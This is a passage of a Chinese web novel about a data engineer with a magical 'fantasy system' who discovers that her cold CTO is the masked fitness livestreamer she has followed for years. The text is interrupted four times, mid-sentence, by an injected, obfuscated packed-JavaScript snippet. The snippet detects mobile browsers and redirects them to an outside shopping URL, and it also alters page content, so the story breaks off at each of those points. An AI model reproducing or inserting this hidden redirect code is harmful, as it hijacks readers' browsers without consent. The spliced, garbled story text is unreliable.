转账人是一个几乎从记忆里褪色的名字——大学时还算要好,毕业前夕对方匆匆借了五百,后来各自漂泊,连朋友圈点赞的交情都淡了。 她下意识皱眉,正要发消息问,脑海里响起那个熟悉的机械音:【结算完成。】 她的手顿在键盘上方:“……什么?” 【昨晚发布内容存活期间,共被十三名有效用户观看。】 【结算收益:¥528。】 她低头看手机,再跟脑海中的屏幕确认——数字严丝合缝。 “所以,”她慢慢靠向椅背,声音轻得像自语,“这钱……是这么来的?” 【是。】 许知微忽然扯了扯嘴角。 那不是笑,是一种被现实迎面掴了一掌的生理反应。 十三个人。 不到五分钟。 一个被下架、被举报、游走在规则边缘的视频。 换来了五百二十八块。 她在心里草草一算:一天五百,一个月一万五,三个月。 将近五万。 她盯着转账金额,忽然觉得这数字既真实又荒诞。 五百块,在这座城市里——不过几顿像样的外卖,四个月地铁通勤,她熬一个通宵改方案的价值或许都不止这些。 可这是她几乎没付出什么,就换来的。 不对。 她洗头、换衣、买了些二手设 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127073|196129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 备、拍下自己都不愿回看的片段,然后被封号、被投诉,最终换回这五百二十八块。 “钱原来这么好赚啊。”她无声地说,不知在嘲讽谁。 【本该如此。】 “可是,”她回应,“也没多少人欠我钱。” 她没有立刻接受,而是先给那位朋友发了条消息:“刚看到转账,什么还钱?” 几秒后,回复跳出来:“你忘啦~毕业那年借的五百块,一直忙忘了。剩下二十八是利息哦。” 许知微盯着那行字。 分明是拿回属于自己的钱,怎么功劳还算在这个破系统头上了? 可她最终只回了一个“谢谢”,然后将手机反扣在桌上。 “也行吧。”她对主控说,“聊胜于无。” 话音未落,一个二十出头的小姑娘抱着笔记本凑过来,屏幕往她面前一送:“许姐,咱们这次跑出来的结果,又和上次不一样了。” 许知微抬头,没接电脑,先问:“参数动了吗?” 小姑娘愣了一下,摇头:“没有,我只是把窗口期从七天改成十四天了,想看趋势会不会更平滑……” “那肯定不一样。”许知微终于接过电脑,目光扫过曲线,指尖在触控板上轻点两下,“你现在是把两个周期的噪音叠在一起了。上次是短期波动,这次是滞后反应——逻辑根本不同。” 她语气平稳,却每个字都落得笃定:“看这个峰值,”她指着屏幕一处,“这不是模型学出来的,是数据源那天的异常流量。” 小姑娘眼睛一亮:“所以不是模型问题?” “不是。”许知微将电脑递回去,“尝试方向没错,但要先剔除异常点,否则你会误以为自己调对了参数。” 对方连连点头,抱着电脑小跑离开。 许知微靠回椅背,邮箱里已堆了十几封未读。她快速掠过标题,点开最核心的一封,下载附件、比对数据、标注疑点,然后开始从云端跑程序。 这才是她擅长的领域。 在这里,她如鱼得水。 * 十点整,项目例会。 许知微坐在角落,一边听产品讲需求,一边在本子上记关键假设。 轮到她时,没有铺垫,直接切入结论:“这个方案在现有数据分布下会高估转化率。如果坚持用,必须先补校正项,否则国际展的数据会被质疑。” 会议室静了一瞬。 有人皱眉,有人低头翻材料。 程迦坐在主位,目光在她身上多停了一会儿。 “依据?”他问。 许知微没抬眼,直接将准备好的图表投屏:“上个季度的回溯验证,我上周重跑了一遍,附AB测试误差区间。” 程迦确认了一下数字,颔首:“按你说的改。” 会议继续。 许知微合上本子,向后靠去,缓缓呼出一口气。 ——而这些年来,她就是这样一分一分、一局一局地拼。 熬成高级算法师,日日与数据缠斗,指尖敲出的每一个模型都可能影响千万流水。 可到头来,一天踏实挣得的报酬,不过相当于两个五分钟视频换来的数字。 所以,她之前选的路……是不是都错了? 午休时,那个小姑娘又凑过来,声音压得低低的:“许姐,iestatement项目的模型我还有几点不懂……下午能跟您约十五分钟吗?” 许知微怔了怔。 眼前这张年轻的脸,明亮、迫切、带着未经磨损的期待——像极了多年前那个同样相信努力必有回报的自己。 她最终笑了笑,点头:“好,下午你定时间。” 5. 变味 凌晨五点四十八分,程迦醒了。 被一种没来由的烦躁叫醒,像有根极细的针在神经末梢反复试探,却又找不到确切的痛点。 他坐起身,习惯性点开昨晚的直播数据—— 峰值、留存、互动率,每一项都比前夜高。 幻想系统的结算页面也随之刷新:【结算金额:36,348元】,已通过合规路径转入他名下账户。 一切都在轨道上。 除了——“微微不微”这个ID,从头到尾没有出现。 粉丝列表刷新了两次,回放记录空空荡荡。幻想系统的日志里,也没有捕捉到属于她的任何波动。 她还是缺席了。 程迦放下手机,在渐亮的天光里静坐了片刻。 他知道自己不该有这种反应。 她只是个观众。 她甚至不知道屏幕后面是谁。 可某种类似失重的不适感,还是悄然漫了上来。 所以,当他走进公司电梯时,他已经在心里反复演练过—— 不能问。 不能问她为什么没来。 不能提直播,更不能泄露他就是那个账户的主播。 所以当她推门进来时,他选择了最安全、也最笨拙的开场:“我昨晚在群里@你了。” 话一出口,他就听出了偏差——语气太硬,像质问。 可他没有别的入口。 她坐在那里,明显是精心收拾过的:头发柔顺,衬衫领口松了一颗扣子,唇上有一层很淡的、却让她整个人忽然亮起来的颜色。 他注意到了,但又不敢多看。 于是他把自己按进最熟悉的角色里:CTO,上司,只谈数据和效率的理性存在。 直到她忽然站起来,声音不大却字字清晰地说出那些话——关于漏风的出租屋,关于停运的末班车,关于被标价的时间。 程迦愣住了。 他竟然从未真正想过——原来她不喜欢这样的生活。 可这不是她自己说过的么?想要尽快靠自己财富自由。 所以他才会把几乎所有核心的项目都交给她,这些项目的收益,也都将是她的。 上市也在计划中,她有大量原始股,她的梦想就快实现了。 还是因为她最近加班太多,突然想换种生活方式? 那会是什么样的生活方式呢? 跟男朋友天天赖在床上? 他有些反感这个猜测。 可一时间,另一个不合时宜的念头突兀地冒出来: ——如果她知道,自己昨晚只是因为没等到她出现而失眠到凌晨,她又会怎么想? ——会把自己放入男朋友的考虑列表么? ——肯定不会,她或许会觉得恶心。 ——说不定还会觉得自己在用别的话题逃避回应吧? 所以最后,他还是不知道该怎么回应。 他甚至不知道,自己该以什么身份去回应——上司太冰冷,同事太疏远,朋友?可他们从来不曾站在那个位置上。 于是他给出了唯一不会出错的答案:股权、回购、未来的饼——标准的、安全的、属于公司的抚慰。 看着她迅速收敛情绪,重新变回专业、利落、无懈可击的许知微——他心里某处反而揪了一下。 她离开后,办公室安静下来。 程迦靠在椅背里,没有立刻去看电脑。 窗外的光线已经完全亮起来,玻璃上映出他模糊的轮廓,像一张被压平的剪影。 他忽然想起六年前,第一次在公司见她的时候。 那会儿公司还很小,租在共享办公区里,连间真正的会议室都没有。 她推门进来,穿着简单的白T和牛仔裤,头发随意地扎着,简历却丰富得不像应届生。 他几乎是一眼就认出了她。 她没有认出他。 当然不会。 当年那个缩在教室最后一排、被同学起外号的小胖子,早就不在了——在他这么多年的努力下。 后来的几轮面试,她表现得很稳,不需要靠他说服别的创始人,便得到了offer。 唯一担心的,是她有太多机会,最后没有选择他们。 所以当她最后选择这家公司时,他兴奋了一整天,连晚上也回去得很晚,只是为了把她所有入职的事情都提前安排妥当。 入职第一天,几个人下班后一起吃饭。于昊半开玩笑地问她有没有男朋友。 她说没有。 他低头喝水,嘴角不自觉地动了一下。 然后听见她接着说:“我三十岁前的计划是靠自己财务自由,所以会全心工作,暂时不考虑恋爱。” 那一瞬间,他没能控制住表情。 那点还没来得及成型的轻松,僵在了脸上。 他当时并没有多想,只是隐约意识到——她把很多东西,放在了一个他暂时进不去的位置。 后来发生的一切,看起来都很顺理成章。 项目推进得很快,标准一再提高,节点被压缩到极限。 他要求严格,对所有人都一样。 至少他是这么告诉自己的。 可有些深夜,当他看着她发来的周报,内容一如既往地切中要害时,他会下意识多停留几秒。 像是在确认什么。 他忍不住去幻想,如果她真的提前实现了那个目标,会怎么样。 可惊喜,总归是要等到它的时机。 六年过去了,他成了公司里最严苛的推手。而他那些深夜的工作消息、那些突然的会议通知、那些看似不近人情的deadline——不过是他所能找到的、唯一能在众人目光中,将她的注意力牢牢锁在自己身上的绳索。 工作之外,他是她那个未曾露面的男主播。在那个唯有他能窥见的系统里,他看着她为自己构建起所有火热、潮湿、不容于世的想象。 她的幻想具体而生动,带着她清醒时绝不会显露的胆大与沉迷——与他未曾挖掘的癖好,不谋而合。 他坐在CTO的办公室里,审阅着她发来的、格式完美的周报,脑海里却同步浮现出系统里那些属于“他”的缠绵画面。 他贪恋那些幻想带来的亲近感,又痛恨这层无法穿透的身份壁垒。 系统的提示偶尔会跳出来,有些她的幻想,因为他神游次数超过了限制,再也访问不了了。 这样也好,看得太多,他就无法再把“程迦”这个名字和屏幕里那个没有面孔的人分开。 那种重叠,让人着迷,也让人失控。 所以他只能更用力地把自己钉在现实里,钉在会议、节点、数据和决策里。 至少在那里,他还有自控力。 此刻,他坐在办公室里,手机亮了一下。 工作群里,她已经开始回复消息,语气一如既往地专业,条理清晰,没有多余解释。 “好的,下午同步。” “已更新,麻烦确认。” 他盯着那几行字看了很久。 她刚才站在他面前,说出那些话的时候,没有向他求助,她只是陈述。 一如这些年,她的私人生活从不需要他的参与一般。 想到这里,程迦慢慢把手机扣在桌面上。 * 晚上十点十七分,灯光无声亮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127074|196129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起。 程迦停播了两天。 也不是刻意的,只是幻想值已经足够多了,她又不来看,实在找不到直播的理由。 可此刻他看向在线列表时,目光掠过那些熟悉的ID,最终停在那个终于亮起的头像上。 微微不微? 她又回来了! 几乎是同时,电脑轻轻一震——你收到了特殊关注的点赞。 他嘴角不受控制地向上弯了一下,声音比开口时更缓、更低:“来啦……谢谢微微的点赞。” 他说得很轻,却比今晚任何一句问候都更郑重。 弹幕停滞一瞬,随即浮动起细碎的疑问。 【?】 【哥你平时不谢点赞的】 【谁啊?】 他没理会。 屏幕那端,她发来一串不像她的语气词:【啊?!?!???!!!!】 他几乎能想象出她此刻微张着嘴、一脸错愕的样子,喉结不自觉地滚了滚,声音里漏出一丝没藏住的柔软:“晚上好。” 话音落下,他才意识到自己语气里的异样。 弹幕已经嗅到不同: 【刚那个是谁?】 【怎么对她这么温柔】 【哥你不对劲……】 他迅速收敛情绪,声音回归平稳的解释:“是从前一个平台就跟着我的老粉,七年了。不管打赏与否,陪我到现在的,我都记得。” 【哇!!哥也太念旧了!】 【我也要陪哥下一个七年!】 弹幕被安抚,重新刷起温暖的节奏。 而他咽下了真正想问的那句——你前两天晚上,去哪儿了? 直播继续。 他说话,动作,一切如常,可注意力始终悬在那个沉默的头像上。 她点了赞,却不再发任何弹幕。 她还在吗? 这种不确定感,像一根极细的丝线,缠着他的心神。 某一刻,他下意识做了一个她从前总爱看的动作——只是肩颈处一个细微的转折,肌肉线条在灯光下短暂地绷紧、舒展。 从前每到这一步,她的弹幕总会准时跳出来: 【菩萨】 【这个角度绝了】 【666】 此刻,满屏的666再度涌现。 可他一眼扫过去——没有她。 没有。 指尖在镜头外微微收紧。 他慢了半拍,运动才接上音乐,回应弹幕时也漏掉了一条。 有些粉丝开始察觉: 【哥今天是不是不在状态?】 【感觉有点飘……】 他强迫自己集中。 不能被发现。 不能让她被推上话题的中心。 就在他试图用下一个动作拉回节奏时——一行字,平静地滑过弹幕流: 【你喜欢什么样的女人?】 程迦的呼吸停了一瞬,是微微不微发的。虽然很快就被别的弹幕掩盖,但他还是精准地捕捉到了。 音乐还在流淌,灯光依旧柔和,直播间一切如常。 可他被那行一闪而过的问题钉在原地,整整两秒,没有动作。 弹幕开始浮动问号。 【???】 【卡了?】 【哥怎么不动了?】 他抬手调整了一下耳机,指腹压过微烫的耳廓,像是在检查设备。 实际上,他在用这个动作掩盖骤然加速的心跳。 这是她第一次——在这个属于“走leetcode”的空间里——主动向他提问私人问题。 他,要回答么? 6. 掉马甲 许知微是在末班地铁里,发现“走leetcode”停播了一阵。 指尖划过屏幕的动作已经成了肌肉记忆——解锁、点开、下拉,像给疲惫的神经寻找一个短暂逃逸的出口。 可那个熟悉的头像,是灰的。 主页横着一行冰冷的系统提示:主播暂未开播。 她愣了一下。 这个主播可是雷打不动的准点劳模。 她点进了主页,又刷新了一次,依然灰着。 “奇怪。”她听见自己小声说。 【你自己今天的直播还没做。】主控的声音准时响起。 “饶了我吧,”她把手机按灭,“十分钟必封,号都禁播一周了。我倒想学习学习,别人是怎么活下来的。” 主控沉默片刻,只回了一个意味不明的:【嗯。】 回到出租屋,她草草冲了澡,头发还湿漉漉地贴在颈侧,就蜷进沙发重新点开了软件。 诶,那个头像,亮了。 开播中。 她指尖快过思考,已经点了进去。 画面加载出来的瞬间,她才意识到自己的心跳有多快,那是属于荷尔蒙带来的悸动。 看着熟悉的肌肉在运动,她嘴角忍不住上扬。 主控在她脑海里轻轻啧了一声:【这么高兴?】 “这是健康生活,”她盯着屏幕,声音却有点虚,“……学习一下怎么运动。” 她还记得第一次刷到这个主播,是大三在卷厂实习那年。 凌晨两点,失眠,随手点进一个只有个位数观众的直播间。 没有脸,灯光很糙,镜头里的人甚至有些笨拙地做着运动——肩背略厚,动作生硬,节奏总慢半拍。 可偏偏有种近乎执拗的认真,反复练习同一个动作,明明不得要领,却不肯停。 她不知道自己为什么没划走。 或许是因为那种还有人跟她一起努力的笨拙,好笑,却有共鸣。 她记得她留言提醒:【这个动作可以慢一点。】 他听进去了。 下一次直播,他真的慢了。 后来她又说角度不对、灯光太硬、这里该停一拍。 他居然一条一条地按照建议改。 就这样,她成了他最早的观众,也是他最早的导师。 等她回过神来,这个账号已经有了独属于自己的特色——克制、停顿、欲说还休的张力。 全都精准地长在了她的审美上。 有些深夜,她梦见的会是那个没有面孔、却处处合她心意的轮廓。 后来他渐渐有了些人气,依旧不露脸,从未停播。 今晚的直播间也格外热闹。 弹幕滚得飞快,她下意识点了个赞。 然后,她听见他的声音透过耳机传来——低沉的,带着一丝刻意放缓的温柔: “来啦……谢谢微微的点赞。” 许知微整个人僵在屏幕前。 ……他在叫她? 她甚至没来得及思考,手指已经敲出一串混乱的符号:【啊?!?!???!!!!】 心跳撞得耳膜发痛。 就在这时,主控的声音忽然变得有些异样: 【宿主。】 “嗯?” 【有件事……按理说不该现在告诉你。】 她皱眉:“说。” 【如果系统检测到网络另一端是你现实中认识的真人,将自动显示其真实身份,而非虚拟ID。】 主控停顿了一下,【这个功能本应在累计解锁上千次幻想后开启……但你只剩三个月了。】 它声音很轻,却像带着诱惑:【要破例给你试一次么?】 空气骤然凝固。 许知微盯着屏幕上那个模糊的身影,有种不好的预感。 ——看了这么久的男主播,不会是她爸吧? 一想到这里,她不由地打了个寒颤,但很快又摇摇头。 现在的肌肉服,没有以假乱真到那个地步。 但心里的不安还是让她没忍住,开口道:“……试。” 下一秒,视野像是被某种无形的力量清洗而过——直播间右上角,那个她看了七年的ID“走leetcode”,像水渍般淡去。 取而代之的,是两个让她血液倒流的汉字: ——程迦。 啊? 啊?! 啊????!!! 时间在那一刻被撕成碎片,所有灼热且潮湿的梦境——那些她在深夜放任自己沉溺的幻想,那些肌肤相贴的体温、交错的呼吸、绷紧的脊背——突然全部有了清晰的脸。 是程迦那个永远面无表情的脸! 是那个在晨会上用毫无波澜的语气驳回她方案的脸。 是那个在半夜会工作群里@她追问进度的脸。 是那个她今早还试图用衬衫第二颗纽扣去勾引却毫无兴趣的脸。 羞耻与惊愕如冰火交织,瞬间将她吞没。 她有病吧??? 竟然会馋周扒皮的身子?? 这要是被周扒皮知道了,她—— 啊!!!!!! 许知微的脚趾尴尬崩溃到忍不住疯狂抠动,但很快理智又占了上风。 还好。 还好,他不知道。 不幸中的万幸。 她的脸面还在。 这也不能怪她对错误的人产生欲望,谁能想到那个严谨、冷漠、没有人类情绪的周扒皮私下里,竟然做这种主播? 荒谬感如潮水般涌上,紧接着,不解迅速压过了慌乱。 对啊,为什么? 公司要不行了? CTO的薪水都不够,需要他这样赚外快? 还是说——这人本就有某种不为人知的癖好,白天用规则禁欲,夜晚用匿名纵欲? 无论是哪种可能,这个发现都像一把突然递到她手里的钥匙——一把可能打开程迦这个人的钥匙。 弹幕仍在滚动,音乐兀自流淌,屏幕上美好的肌肉还在跳动。 许知微冷静下来后,悬在屏幕上的手指,不再发抖。 如果这是他隐秘的一面,如果这是他投入情绪与期待的表演。 是不是就意味着,通过“微微不微”这个小号,她能找到一条更高效的路径,让他对自己产生幻想? 毕竟,系统只要求被他幻想,却从未规定,必须是现实里那个灰头土脸、总被他训斥的她。 在他的直播间里,她从来不是下属。 她是追了他七年的老粉,是给他打赏的金主,是手把手教过他动作的原始股东。 同样是让他幻想,这个老粉的身份,显然比那个不对等的下属,成功率要高得多。 想到这里,她微微吸了口气,指尖落下,敲出那行字:【你喜欢什么样的女人?】 发送的瞬间,她紧紧盯着屏幕,目光像在分析一份突然到手的关键竞品数据。 ——告诉我吧,程迦。 ——在你这个见不得光的分身里,你期待什么样的注视? ——知道了答案,我才知道,该把“微微不微”包装成什么样子,才能让你……忍不住……幻想我。 弹幕滚得很快。 她发出的那句话,像一颗投入激流的石子,连个响动都没来得及发出,就被吞没得无影无踪。 屏幕里的男人似乎停顿了一下,但很快又继续运动。 许知微盯着屏幕,指尖在膝盖上无意识收紧,等了两秒。 又两秒。 时间在沉默中被拉得很长。 她不信邪,指尖悬停,又用力敲下同一句话: 【你喜欢什么样的女人?】 发送键按下的触感带着一丝微不可查的急躁。 可依旧没有回应。 不仅如此,弹幕的风向已经像察觉血腥味的鱼群,悄然转向: 【???】 【这人谁啊?一直刷】 【老粉也不能这么没分寸感吧】 【哥都懒得理,看不出来吗?】 【有点越界了姐妹,这是直播间,不是粉丝私联】 她一怔,呼吸微微滞住。 还没来得及消化这些字句,更多新的弹幕已经劈头盖脸浇上来: 【他是主播,不是你对象,清醒点】 【别把现实那套带进来行不行,烦不烦】 【真当自己多特殊了?哥对谁都客气,别想多了】 许知微下意识往后缩了缩,脊背抵住松软的沙发靠背,眉心紧紧拧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127075|196129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起。 一种混合着尴尬和被冒犯的燥热,从耳根一路烧上来。 ——她,好像着急了些? 此刻弹幕已经像一群自发维护秩序的打手,迫不及待地跳出来,挥舞着规矩的棍棒,将她钉在越界的耻辱柱上,强行塞给她一个骚扰者的剧本。 与此同时,他视若无睹。 这让她意识到另一件事。 哪怕在他这个擦边号眼里,“微微不微”也只是一个跟得久了些、能被记住ID的普通粉丝。 他方才的营业让她产生了错觉。 她自以为手握秘密的居高临下,在被无视的沉默面前,突然变得可笑至极。 她长长地吐出一口气,仿佛要把胸腔里那股郁结的闷气全都排空。 然后伸手,把手机屏幕朝下,“啪”地一声扣在茶几上。 “这钱。”她对着空气低声说,声音干涩,“可真不容易赚。” 因为在他面前,无论是程迦,还是主播,她什么都不是。 主控在她脑海里慢悠悠地冒头,语气听不出情绪:【这就放弃了?】 “放弃?”她扯了扯嘴角,笑意未达眼底。 她重新翻开手机,看向直播画面。 灯光依旧完美,镜头里的身影依旧带着那种勾人的克制。 还有那个她看了七年、曾觉得莫名亲切又带着点笨拙可爱的网名——走leetcode。 她没忍住,从鼻腔里轻轻嗤了一声,带着浓重的自嘲:“当初还觉得,这名字起得真有意思,像个苦哈哈的同行。” “结果啊……” 她顿了顿,声音低下去,清晰又冰凉:“人家是剥削阶级,我才是那个吭哧吭哧刷题的牛马。” 那声自嘲的尾音还在空中飘着,心里却有了主意。 既然程迦跟她从未对等,那她为什么不能做上位者的那个? 指尖重新点亮屏幕,忽略了仍在滚动的弹幕,她直接点开了礼物界面。 目光快速扫过那些价值不菲的虚拟物品,最终定格在某个需要额外填写要求的专属定制选项上。 五百元。 刚从幻想系统获得钱,此刻,成了筹码。 也是,要是自己辛辛苦苦搬砖赚来的钱,才不会舍得打赏给这个周扒皮。 她几乎没有犹豫,选择支付。输入框弹出,要求填写“定制内容(10秒上限)”。 许知微指尖悬停,脑海中掠过白天会议室里他毫无波澜的脸,掠过刚才他对自己提问视若无睹的冷漠,也掠过系统的倒计时和那笔诱人的幻想收益。 一丝近乎报复性的、又带着孤注一掷探究欲的冲动,攫住了她。 她抿了抿唇,指尖落下,一字一字,清晰地敲入那个狭小的方框:【最近一次spring梦里,最享受的姿势。】 发送,确认,付款成功。 特殊的礼物特效伴随着醒目的提示,瞬间霸占了直播间的屏幕中央,将她那个“微微不微”的ID,以一种无法忽视的方式,再次推到所有人面前。 「感谢‘微微不微’下单的【专属定制】!请主播在30秒内完成定制内容!」 喧嚣的弹幕为之一静。 随即,是更猛烈的爆炸: 【卧槽!玩这么大?!】 【这是什么功能??为什么我这里没有??】 【???这是可以问的吗??】 【是不是要打赏足够才能解锁?】 【金主妈妈牛逼!】 【这是刚才那个……?豁出去了啊!】 【完了完了,哥会不会直接下播……】 许知微没有再看那些纷乱的弹幕,她的全部注意力都死死锁在屏幕中央那个身影上。 灯光似乎跟着凝滞了一瞬。 她看见他动作的节奏,出现了极其细微的卡顿,仿佛精密齿轮被一颗突如其来的砂砾硌住。 他侧对着镜头,看不清完整表情,但下颌线的轮廓似乎绷紧了些。 隔着屏幕,隔着网络,她几乎能感觉到自己带给他的那股骤然降临的压迫感,嘴角忍不住上扬。 三十秒倒计时,在屏幕上无声跳动。 整个直播间,数千观众,都在等待他的反应。 ——程迦,你会怎么做? 7. 被操控 【你喜欢什么样的女人?】 你这样的。 梦里梦外,清醒或沉溺。 都是你这样的。 话滚到舌尖,又被生生咽回。 不能回答。 此刻的他,只是“走leetcode”,一个靠身材与神秘感维系人设的运动主播。 这样的回答反而显得太轻佻,太越界了。 他不想让她觉得,“走leetcode”是这样一个轻浮的人。 所以他做了最安全,也最懦弱的事——无视。 弹幕很快替他完成了净化。 看着那些指责她越界、骚扰的字句,他本该庆幸有人替他维持了距离。 可喉结却不受控地滚动了一下。 许知微她——不是那样的人。 她只是在用她一贯直接而高效的方式获取信息。 而他甚至——卑劣地享受着她这份独有的冒犯。 可这个由他亲手搭建的舞台,正在用最严格的集体规训,将她试图伸出的试探狠狠打回。 一股憋闷的躁意堵在胸口。 想打断,可他以什么立场? 在别人看来,这不就是一个被骚扰的主播,替骚扰者辩护? 所以他只能将注意力暴力地拧回动作本身,试图用肌肉的记忆覆盖心神的涣散。 就在这时—— 屏幕被猩红与鎏金交织的特效悍然撕裂。 「感谢‘微微不微’下单【专属定制】!」 五百块,定制十秒? 他记得她白天在办公室里,提起生活时那份被磨损殆尽的疲惫。 这笔钱对她而言,绝非可以随手挥霍的数目。 还来不及厘清刚泛起的揪心,他的视线就被紧随其后的定制内容死死钉住: 【最近一次spring梦里,最享受的姿势。】 时间,仿佛被这句话抽成了真空,大脑也随之宕机了一瞬。 可意识深处那套从不休眠的系统,竟不受控地自动展开—— 昨夜神游时,那些未能及时归档、依旧残留着滚烫体温的幻想碎片。 画面如潮水倒灌,汹涌而至。 是她指导他调整角度时,虚拟指尖划过他背脊的触感; 是她在他某个停顿的瞬间,于幻想中贴近他耳廓吐息的温度; 是那些由她主宰的节奏里,他沉沦其中,而她始终清醒凝视的、无数个交错重叠的姿态。 ——那些全是她的欲望。 ——而他,照单全收。 ——无比沉迷。 那股剧烈而隐秘的羞耻感,混合着被彻底洞穿的战栗,从尾椎骨炸开,瞬间烧透了他的耳廓与后颈。 倒计时冰冷亮起:30。 他几乎忘了呼吸。 29。 弹幕已呈鼎沸之势,他却像被隔绝在玻璃罩内,所有的喧嚣都成了模糊的背景杂音。 28。 他强迫自己吸入一口空气,试图找回节奏,可指尖反馈回的,却是细微的、不受控的迟滞。 这是他的直播间。 这是他制定的规则。 金主打赏,主播完成指令,天经地义。 可偏偏她定制的,是他关于她的、最不可言说的梦。 27。 时间在无声灼烧。 26。 每一秒都像拉长的胶片,映着他脑海里那些挥之不去的、属于她的梦境画面。 25。 那些由她指导成型,又反过来成为他钟爱的姿势与角度。 24。 弹幕的催促和惊叹已如海啸,可他眼中只剩下那条指令,和指令背后,那个可能正冷冷注视着他的许知微。 23。 他闭了闭眼。 再睁开时,眸底某种坚持的东西似乎碎了一下。 规则是他定的。 金主是她。 那么——给她想要的。 22。 他没有说话,只是极其缓慢地,调整了一下站姿。重心微移,肩颈与背脊的线条随之改变,形成一种介于舒展与蓄力之间的微妙平衡。 灯光如水流般淌过他绷紧的肩胛与背肌,投下深邃而充满暗示的阴影。 然后,他做了一个极其简单、甚至刻意避开了所有直白暗示的动作——他微微侧身,将头颈转向一个精准计算过的角度。 下颌线条在光影中清晰抬起,喉结到锁骨的区域毫无保留地呈现,皮肤在灯光下泛起细腻的光泽。 而他的视线,却沉沉垂落。 面具遮掩了所有可能泄露情绪的窗口,只留下一种近乎驯顺的、全然敞开的姿态——仿佛在无声接纳所有来自镜头的审视与评判,带着一种献祭般的脆弱感。 这角度,这紧绷与松弛的临界点。 他记得清楚了。 正是她某一次幻想里,曾轻轻滑过的一句模糊呓语:“这个角度……最……勾” 后半句她未曾言明,但系统忠实记录下了那一刻她骤然飙升的兴奋值。 21。 直播间陷入了刹那的死寂。 随即,便是彻底疯狂的沸腾! 20。 【!!!!!!】 【我靠这个!!!我没了!!!】 【这真的是能免费看的吗???】 【哥你……你赢了……】 【值了!这五百太值了!】 【哪里有这个定制选项!!!我要下单!!】 特效和弹幕几乎将画面淹没。 热度指数直线飙升,礼物开始疯狂刷屏。 程迦莫名感觉到一丝兴奋跟成就感。 那是一种近乎麻木的、履行契约般的空洞,以及更深处翻涌的、难以言喻的羞耻与悸动。 他在数万人面前,演绎了她梦里最喜欢的自己,这算不算一种……最隐秘的交付? 19。 18。 平台监管的红色警告,几乎是在热度冲到某个阈值的瞬间,毫无征兆地弹了出来,覆盖了整个屏幕: 【直播内容涉嫌违规,正在中断……】 画面猛地一黑。 所有的喧嚣、光影、欲望和注视,在那一刻被强行掐断,归于一片冰冷的、吞噬一切的黑暗。 世界突然安静得可怕。 漆黑的电脑屏幕成了一面诚实的镜子,清晰地映照出他此刻的模样—— 头顶的射灯还亮着,在他凌乱的发梢与微敞的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127076|196129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 领口间投下晃动的光影。 呼吸尚未平复,胸膛细微起伏,锁骨下方那片皮肤仿佛还残留着被无数目光灼烧过的温度,以及执行她指令时,不受控漫上的薄红。 狼狈,却又带着一种陌生的、悖德的暧昧。 他盯着屏幕中那个陌生的自己,胸腔里竟炸开一丝极其隐秘、近乎扭曲的快意。 这副被欲望短暂支配、因她指令而呈现出的模样,是程迦这个身份绝对、永远不允许被窥见的背面。 尤其不能被她看见。 在公司,他是规则的制定者,是情绪的绝缘体,是永远挺拔而冰冷的坐标。 可刚才那十秒,机器的外壳裂开了缝隙。 那裂隙的源头,是她。 是她那句不容回避的【你喜欢什么样的女人?】 是她那笔带着掌控意味的五百元定制。 更是她最后那句,精准狙中他所有隐秘幻想的、只可能来自许知微的犀利提问。 程迦喉间滚出一声极低的笑,在寂静中散开,空荡而涩然。 是了。 这么多年了,他贪恋的,不就是她这样么? 不会温顺试探,只会冷静地、步步紧逼地,直到撬开她想要的答案。 这个认知,像一剂短暂生效的麻药,勉强包裹住他失控的羞耻与悸动,为他的越界提供了一个看似合理的解释:是她的引导,她的下单,他只是遵循了这场游戏的规则。 可麻药的效力转瞬即逝。 另一个锐利到足以冻结血液的疑点,毫无征兆地刺穿了这层脆弱的自我安慰: “微微不微”是看了“走leetcode”七年。 可七年里,她是他最沉默也最稳定的导师,语气永远停留在技术性的建议层面,克制,疏离,带着旁观者的礼貌。 哪怕在系统捕捉到的、最私密的幻想波段里,她也从未展露过如此具有攻击性的掌控欲。 但今晚这两句话,那咄咄逼人的质询感,那直白到残忍的挖掘姿态—— 太熟悉了。 